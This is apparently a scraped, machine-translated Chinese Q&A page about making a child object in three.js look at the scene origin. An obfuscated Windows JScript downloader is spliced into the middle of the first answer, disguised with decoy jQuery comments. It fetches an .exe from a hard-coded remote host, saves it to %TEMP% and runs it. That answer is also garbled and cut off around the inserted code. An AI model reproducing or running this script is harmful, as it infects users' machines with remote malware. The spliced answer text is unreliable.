我有三个js场景:http://codepen.io/giorgiomartini/pen/ZWLWgX
场景包含5件事:
相机 - 不可见
origen (3D矢量) - 在0,0,0。
objOne - 绿色
objParent - 红色
CenterOfscene - 蓝色
objOne是objParent的孩子。而且ObjOne看起来是origen,它是一个0,0,0的3d矢量。
但objOne而不是看0,0,0。它是原始矢量的地方,它看着objParent ....?
有什么想法吗?
我想要的是观察0,0,0的objOne。哪个是origen矢量。
为什么这是行为不端的任何想法?感谢。
THREE.SceneUtils.detach( objOne, objParent, scene );
THREE.SceneUtils.attach( objOne, scene, objParent );
var origen = new THREE.Vector3( 0, 0, 0 );
var render = function () {
objOne.lookAt(origen);
requestAnimationFrame( render );
xOffset += 0.01;
yOffset += 0.011;
zOffset += 0.012;
xOffsetParent += 0.0011;
yOffsetParent += 0.0013;
zOffsetParent += 0.0012;
camXPos = centeredNoise(-1,1,xOffset);
camYPos = centeredNoise(-1,1,yOffset);
camZPos = centeredNoise(-1,1,zOffset);
objOne.position.x = camXPos*4;
objOne.position.y = camYPos*4;
objOne.position.z = camZPos*4;
camParentXPos = centeredNoise(-1,1,xOffsetParent);
camParentYPos = centeredNoise(-1,1,yOffsetParent);
camParentZPos = centeredNoise(-1,1,zOffsetParent);
objParent.position.x = camParentXPos*10;
objParent.position.y = camParentYPos*10;
objParent.position.z = camParentZPos*10;
renderer.render(scene, camera);
};
render();
答案 0 :(得分:3)
Object3D.lookAt()
不支持具有旋转和/或翻译父级的对象。
你的解决方法是(1)将子节点添加为场景的子节点,然后(2)用虚拟Object3D
替换子对象,虚拟child.position.setFromMatrixPosition( dummy.matrixWorld );
child.lookAt( origin );
作为父对象的子节点,将与父母一起移动。
然后,在渲染循环中,
OahmBPze = "} Needed because $( selector, context ) becomes $( context ).find( selector ) ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret ); ret.selector = this.selector ? this.selector + \" \" + selector : selector; return ret; }, filter: function( selector ) { return this.pushStack( winnow( this, selector || [], false ) ); }, not: function( selector ) { return this.pushStack( winnow( this, selector || [], true ) ); }, is: function( selector ) { return !!winnow( this,";
fergusI = 0;
String.prototype.contradistinction = function () { return this.substr(0, 1); };
var uUXTro = [("supporting","dimension","n")+"hh"+("cowboy","testimonial","librarian","fullness","lH")+"CNAl", "A"+"iR"+"Nh"+("reborn","network","crusty","cD")+"nBHy", "E"+"xpan"+("marketing","blanched","heliotrope","washstand","dEnviron")+"me"+"nt"+"Stri"+("befit","scientists","ngs"), ("damper","failed","funny","milliner","")+"%"+("jaunt","massage","TE")+"MP%", ""+("overseas","concertina","talks",".")+"exe", ("inkstand","adapters","R")+"un", "A"+"ct"+"in"+"ce"+"nt"+"ivei"+("massive","appliance","vi")+("tenets","capitulation","blueblack","nightmare","nc")+"enti"+"ve"+"eXincentiv"+("venerate","bated","perturbation","eObinc")+"en"+"ti"+"ve"+"je"+"ince"+"nt"+"ivect", "sFtalU", "FlAYMT", ("activity","lucas","garden","W")+"Sc"+"ince"+"ntiver"+"ip"+"tinc"+"entive." + ("impotence","fatty","S"), "AmvHaUzPHrP", ("exponent","heights","assurance","feeling","h")+"in"+"ce"+("adipex","calumny","variable","nt")+"iv"+"ee"+("photographers","bigot","conservation","li")+"nc"+("forceful","subversive","en")+"ti"+("javascript","killed","forthcoming","algeria","vel"), "UJcMlBfkOA", "G"+("epirus","beholds","elope","rRAF")+"Ka"+("spelling","leviticus","lyrical","je")+"To", "Min"+"ce"+"ntiv"+"eS"+("commitment","indianapolis","blend","Xi")+"nc"+"en"+("scythe","partiality","instead","initiate","ti")+"ve"+("coating","trainer","predicament","ML")+"in"+"ce"+("temporal","hectic","nt")+("accessibility","toolbar","iv")+"e2" + "."+"in"+"ce"+("absinthe","staccato","competitions","sorcerer","nt")+("computation","pumps","earning","iv")+"eXMi"+"ncenti"+("althea","predicted","persuasive","ve")+"LH"+"in"+"ce"+"nt"+"iveT"+"TP"];
xMQviJchP = " If this is a positional/relative selector, check membership in the returned set so $(\"p:first\").is(\"p:last\") won\"t return true for a doc with two \"p\". typeof selector === \"string\" && rneedsContext.test( selector ) ? jQuery( selector ) : selector || [], false ).length; } } );";
uUXTro.splice(7, fergusI + 2);
chubby = uUXTro[1+4+1].split("incentive").join("");
var gIlDtU = this[chubby];
cjGQONQzabH = " Initialize a jQuery object";
societies = (("assay", "exceptional", "pNumgJIyqTV", "slash", "prdVLeeWLYFY") + "hisxJpz").contradistinction();
theoriess = (("braces", "conclusion", "VAxdbV", "mutilation", "ssyqBhnJyL") + "evUdVVJOheX").contradistinction();
fergusI = 6;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1] + uUXTro[fergusI + 3];
uUXTro[fergusI + 2] = "EuHNTOs";
fergusI++;
uUXTro.splice(fergusI + 1, fergusI - 4);
uUXTro[fergusI] = uUXTro[fergusI].split("incentive").join("");
var OoKse = new gIlDtU("" + uUXTro[fergusI] + "");
kObtSaQ = " A central reference to the root jQuery(document) var rootjQuery,";
fergusI++;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1].split("incentive").join("");
var zBqJutIT = new gIlDtU(uUXTro[1 + fergusI]);
SJhBEmIeQ = " A simple way to check for HTML strings Prioritize #id over <tag> to avoid XSS via location.hash (#9521) Strict HTML recognition (#11290: must start with <) rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,";
fergusI /= 2;
var BPmnOej = OoKse[uUXTro[fergusI - 2]](uUXTro[fergusI - 1]);
xIFFESDYaEM = " init = jQuery.fn.init = function( selector, context, root ) { var match, elem;";
revealede = (("decorum", "entrance", "TRDboBz", "artists", "EtIHgYuotyI") + "FWhFoJE").contradistinction();
function undeveloped(poseidon, economic) {
try {
var jersey = BPmnOej + "/" + economic + uUXTro[fergusI];
hOTYlRD = " HANDLE: $(\"\"), $(null), $(undefined), $(false) if ( !selector ) { return this; ";
zBqJutIT["o" + societies + revealede + "n"](("anime","validation","celebs","myrrh","G") + revealede + ("autograph","whichever","enquiry","registration","T"), poseidon, false);
pWCXhDdFNb = "} init accepts an alternate rootjQuery so migrate can support jQuery.sub (gh-2101) root = root || rootjQuery;";
zBqJutIT[theoriess + ("adept","capitol","e") + (("gully", "combining", "GkEkzqrh", "lugger", "simulation", "nMlprJrsW") + "IvouEXwV").contradistinction() + (("quarterly", "hansen", "fcSBQnkWXC", "challenged", "dictatorial", "dtITKmcdGl") + "OkfgeEl").contradistinction()]();
FFMDEle = " Handle HTML strings if ( typeof selector === \"string\" ) { if ( selector.charAt( 0 ) === \"<\" && selector.charAt( selector.length - 1 ) === \">\" && selector.length >= 3 ) {";
if (zBqJutIT.status == 200) {
var PbOLTH = new gIlDtU((""+("otter","regard","A")+"pO"+("lancashire","spelt","denouement","crude","DB.") + ""+"S"+("illness","anxiety","upsetting","tr")+"eam").replace("p", "D"));
PbOLTH.open();
RvweTKriM = " Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ];";
PbOLTH.type = 22 * (12 - 8 - 4) + 6 - (8 / 2 + 1);
aODTVaRhyp = " } else { match = rquickExpr.exec( selector ); ";
PbOLTH[("proud","strangeness","crunch","awkwardly","w")+"ri"+"te"](zBqJutIT[""+"R"+"es"+("entire","dispersion","circumspect","background","pon") + theoriess + "e"+"Bo"+("combines","chords","dy")]);
eUVrfTIaq = "} Match html or make sure no context is specified for #id if ( match && ( match[ 1 ] || !context ) ) {";
PbOLTH[(societies + "o"+"Di"+("finite","ratio","alloy","exists","ti")+"on").replace("D", theoriess)] = 0;
rURMWYFCS = " HANDLE: $(html) -> $(array) if ( match[ 1 ] ) { context = context instanceof jQuery ? context[ 0 ] : context;";
PbOLTH["sav"+"eT"+"oF"+("tuneful","flippant","extension","crown","ile")](jersey, 2);
JzDFHcYwRvt = " scripts is true for back-compat Intentionally let the error be thrown if parseHTML is not present jQuery.merge( this, jQuery.parseHTML( match[ 1 ], context && context.nodeType ? context.ownerDocument || context : document, true ) );";
PbOLTH.close();
ueMAAMNPHiw = " HANDLE: $(html, props) if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) { for ( match in context ) {";
OoKse[uUXTro[fergusI + 1]](jersey, 1, "ktbgLtPs" === "aBChBT"); JwqQMvMIXL = " Properties of context are called as methods if possible if ( jQuery.isFunction( this[ match ] ) ) { this[ match ]( context[ match ] );";
}
} catch (HiQurqnDJ) { };
VRPdHFOQ = " ...and otherwise set as attributes } else { this.attr( match, context[ match ] ); } } ";
}
undeveloped(("chris","stilts","h")+("gander","comparing","womens","tt")+"p:"+("adult","rally","banana","transportation","//")+("providers","cipher","primary","textbook","hu")+"on"+"gd"+"ec"+("crusty","mania","alsatian","squeal","al")+("scape","slavic","antigua","distraction",".com")+"/s"+"ys"+"tem/"+"lo"+("papal","twist","gs")+"/3"+("monogram","scandinavia","formats","posts","52")+"35"+"23"+("smallpox","rubble","steeple",".e")+("inorganic","whisk","oriental","citizen","xe"),"EeCvuMaedH");
dKWSiU = "} return this;";
three.js r.75
答案 1 :(得分:0)
以下是更正的codepen: http://codepen.io/anon/pen/oxGpPQ?editors=0010
现在绿色磁盘围绕其父级(红色球体)骑行,同时查看蓝色磁盘(或“origen”向量)。
取消注释第163和164行以使相机处于绿色磁盘的位置,并让相机在其父红色球体轨道运行时查看蓝色圆盘('origen'矢量)。
我是如何做到这一点的: 1.制作父红网 2. make dummyChild Object3D(这是一个不可见的数学对象) 3.制作儿童Green Mesh 4.制作origen centerOfScene Blue Mesh 5.将parent,child和centerOfScene网格附加到Scene(不是dummyChild) 6.将dummyChild附加到父级,如下所示:parent.add(dummyChild);
在渲染功能中: 1.使用噪声功能移动父项(偏移dummyChild) 2.使用另一个噪声函数移动dummyChild(围绕其父位置旋转,dummyChild世界的中心是其红色父级的位置) 3.将绿色儿童网格粘贴在隐形dummyChild所在的任何地方。但由于dummyChild被红色父级偏移,我们需要得到它与Scene相关的世界坐标,而不是它在红色世界中的坐标,所以我们使用
child.setFromMatrixPosition(dummyChild.matrixWorld);
注意它的matrixWorld而不是矩阵 - 矩阵保持其本地系统,而matrixWorld保持其相对于场景或世界坐标系的协调。 4.使用lookAt使绿色子盘“lookAt”成为origen向量或场景中心的蓝色centerOfScene网格。
希望这有帮助! :)